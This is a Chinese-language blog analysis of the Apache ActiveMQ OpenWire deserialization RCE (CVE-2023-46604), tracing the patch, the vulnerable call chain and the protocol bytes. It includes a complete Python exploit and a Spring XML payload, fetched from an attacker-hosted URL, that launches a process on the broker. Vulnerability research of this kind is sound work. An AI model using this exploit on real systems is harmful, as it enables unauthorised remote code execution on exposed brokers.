CVE-2023-46604 Apache ActiveMQ RCE 漏洞分析
Drunkbaby Lv6

CVE-2023-46604 Apache ActiveMQ RCE 漏洞分析

0x01 漏洞描述

Apache ActiveMQ 是美国(Apache)基金会的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。

ActiveMQ 默认开放了 61616 端口用于接收 OpenWire 协议消息,由于针对异常消息的处理存在反射调用逻辑,攻击者可能通过构造恶意的序列化消息数据加载恶意类,执行任意代码。

0x02 影响版本

Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16

0x03 环境搭建

可以根据这里下载 https://activemq.apache.org/components/classic/download/

也可以自己起 docker

这里的 maven 有一点坑,需要先起一个 spring 的项目,然后再导入 activemq-client 的包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-client</artifactId>
<version>5.17.3</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>2.0.5</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>

0x04 漏洞分析

漏洞复现

diff 代码

https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f

https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java

这里的漏洞看起来非常明显,activemq-client/src/main/java/org/apache/activemq/openwire/v9/BaseDataStreamMarshaller#createThrowable 方法,通过反射调用了任意方法。

这里的 diff 可以很明显看到多了个 OpenWireUtil 类,用来处理一种抛出异常

1
2
3
4
5
public static void validateIsThrowable(Class<?> clazz) {
if (!Throwable.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
}
}

再往下看,这里给了 Test 类,前面这一段代码是在处理反序列化

1
2
3
4
ExceptionResponse r = new ExceptionResponse();  
r.setException(new Exception());
ByteSequence bss = format.marshal(r);
ExceptionResponse response = (ExceptionResponse) format.unmarshal(bss);

看 Test 类里面的 getExceptionMarshaller() 方法,其中都判断到了一个类 ExceptionResponseMarshaller,跟进 looseUnmarshal() 方法,发现会走到 org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#looseUnmarshalThrowable 方法。BaseDataStreamMarshaller 类是用于支持在 ActiveMQ 消息传递系统中进行数据流序列化和反序列化的基类

大致的漏洞思路目前已经比较明确了,最终触发点是 org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable 方法,有两个方法调用了这里,分别是 tightUnmarsalThrowable/looseUnmarsalThrowable,先以 looseUnmarsalThrowable 来看,它是怎么被调用的呢?是由 org.apache.activemq.openwire.v1.ExceptionResponseMarshaller#looseUnmarshal 方法调用的。而 ExceptionResponseMarshaller 是用来处理反序列化报错的,这里对应的类是 ExceptionResponse 类。所以这一条攻击链路还是比较清楚的,流程图如下。

接下来构造一个 Openwire 协议的包,发送,看一下处理流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.Destination;
import javax.jms.MessageProducer;
import javax.jms.Session;
import javax.jms.TextMessage;

public class ActiveMQProducer {
public static void main(String[] args) {

String brokerUrl = "tcp://192.168.80.139:61616";
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);

try {
Connection connection = connectionFactory.createConnection();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("yourQueueName");
MessageProducer producer = session.createProducer(destination);
TextMessage message = session.createTextMessage("Hello, OpenWire!");
producer.send(message);
System.out.println("Message sent successfully.");
producer.close();
session.close();
connection.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

由于这一个已经是 Openwire 协议发包的格式了,所以直接在 org.apache.activemq.openwire.OpenWireFormat#doUnmarshal 方法下断点,来观测调试一下。

往下走,先判断了 dataType 变量的值,专门拿出来看一下,可以看到此处 dataType 为 28,对应数组里面的类为 ActiveMQTextMessageMarsheller。对应的在我的 Producer 生产者里面类为

1
2
TextMessage message = session.createTextMessage("Hello, OpenWire!");
producer.send(message);

dataType 为 28

而我们需要的类是 ExceptionResponseMarshaller,对应 dataType 的值为 31,想办法进行修改。ActiveMQ 的测试类比较粗暴,是直接判断的,而不是正常的 producer 发送消息

1
2
3
4
ExceptionResponse r = new ExceptionResponse();
r.setException(new Exception());
ByteSequence bss = format.marshal(r);
ExceptionResponse response = (ExceptionResponse) format.unmarshal(bss);

所以此处,我也需要构造一个 ExceptionResponse 类发包,最开始我的尝试是将其作为 message 的一部分,但其实这并没有用,因为最终反序列化还是 TextMessage 这个类。

尝试了一段时间发现这条路是行不通的,但是最后又是可以 RCE 的,只能从中间的流程部分着手剖析,一点点看了。看了 X1r0z 师傅的分析文章 https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/ 才知道原来是另一种方式打的,很有意思。

首先在 org.apache.activemq.openwire.OpenWireFormat#marshal 系列方法下断点,往前可以看到 TcpTransport 这个类

它的 oneway 方法会调用 wireFormat.marshal() 去序列化 command
command 就是前面准备发送的 ObjectMessage, 而 wireFormat 就是和它对应的序列化器
那么我们只需要手动 patch 这个方法, 将 command 改成 ExceptionResponse, 将 wireFormat 改成 ExceptionResponseMarshaller 即可

在当前源码目录下新建一个 org.apache.activemq.transport.tcp.TcpTransport 类, 然后重写对应的逻辑, 这样在运行的时候, 因为 classpath 查找顺序的问题, 程序就会优先使用当前源码目录里的 TcpTransport 类

然后是 createThrowable 方法的利用, 这块其实跟 PostgreSQL JDBC 的利用类似, 因为 ActiveMQ 自带 spring 相关依赖, 那么就可以利用 ClassPathXmlApplicationContext 加载 XML 实现 RCE

TcpTransport.java

1
2
3
4
5
6
7
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}

ClassPathXmlApplicationContext.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{

private String message;
public ClassPathXmlApplicationContext(String message) {
this.message = message;
}

@Override
public String getMessage() {
return message;
}
}

因为在 marshal 的时候会调用 o.getClass().getName() 获取类名, 而 getClass 方法无法重写 (final), 所以我在这里同样 patch 了 org.springframework.context.support.ClassPathXmlApplicationContext, 使其继承 Throwable 类

如此一来就可以打通了,编写恶意 XML 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/activeMQ-RCE-success</value>
</list>
</constructor-arg>
</bean>
</beans>

调试分析

先从 Server 这边调试起

看调用栈是很清晰的,会调到 TcpTransport#oneway 方法

随后根据 classpath 优先级,会优先调用我们自己 patch 的 TcpTransport#oneway 方法,里面定义了一个 ExceptionResponse 类,并将其序列化

接下来就是 Server 部分的处理了

跟进往下走,发现此处的 dataType 被设置成 31 了,对应的类也是 ExceptionResponse

根据前面分析的逻辑,来到 org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable

成功 RCE,流程很清晰明朗

协议分析

下面要做一下协议分析的部分,因为这里明确说是 openwire 协议了,wireshark 抓包

第一个数据包比较像一个 Hello 的数据包,看上去是必要的(不确定),第二个数据包是发包的数据包,第三个数据包则是反序列化的数据包回显。所以我们只需要构造第一个数据包与第二个即可。

这里我想的是先构造第二个数据包,如果直接第二个数据包发包就可以,就没有必须要加第一个包了。

搓出来的 Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import io
import socket
import sys


def main(ip, port, poc):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))

new_len = len(classname + poc)
package_data_len = ascii(new_len + 17)
Command = "1f" # Command: ExceptionResponse(31)
Command_Id = "00000000" # Command Id: 00 00 00 00
Command_response_required = "00" # Command response required: 0
CorrelationId = "00000000" # CorrelationId: 0


with socket_obj:
out = socket_obj.makefile('wb')
out.write(int(package_data_len).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(0).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(len(poc).to_bytes(2, 'big'))
out.write(poc.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()


if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 exp.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

发包,打不通,明显是不对的,掉了这三个数据包

在任何一个包里面,这两段都是相同的,直接硬编码肯定不太行,需要动调看一下特殊含义。

前面两个 01 代表的是 true,为 dataIn.readBoolen()

目前调整了之后就可以了,但是发现没办法读取恶意 poc.xml

怀疑是第二个部分缺失的问题,怀疑是序列化的数据有问题,后面发现是 Throwable 的问题

同样需要 set 为 true,完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import io
import socket
import sys


def main(ip, port, poc):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))

new_len = len(classname + poc)
package_data_len = ascii(new_len + 17)
Command = "1f" # Command: ExceptionResponse(31)
Command_Id = "00000000" # Command Id: 00 00 00 00
Command_response_required = "00" # Command response required: 0
CorrelationId = "00000000" # CorrelationId: 0


with socket_obj:
out = socket_obj.makefile('wb')
out.write(int(package_data_len).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(0).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(0).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(poc).to_bytes(2, 'big'))
out.write(poc.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()


if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 exp.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

0x05 漏洞修复

其实就是前面的 patch

0x06 小结

确实是一个很有意思的洞,学到了 patch 的手法,很有意思

最后的通过分析协议来编写 EXP 也挺好玩的。

0x07 Ref

X1r0z tqlllllllllll

https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/

 评论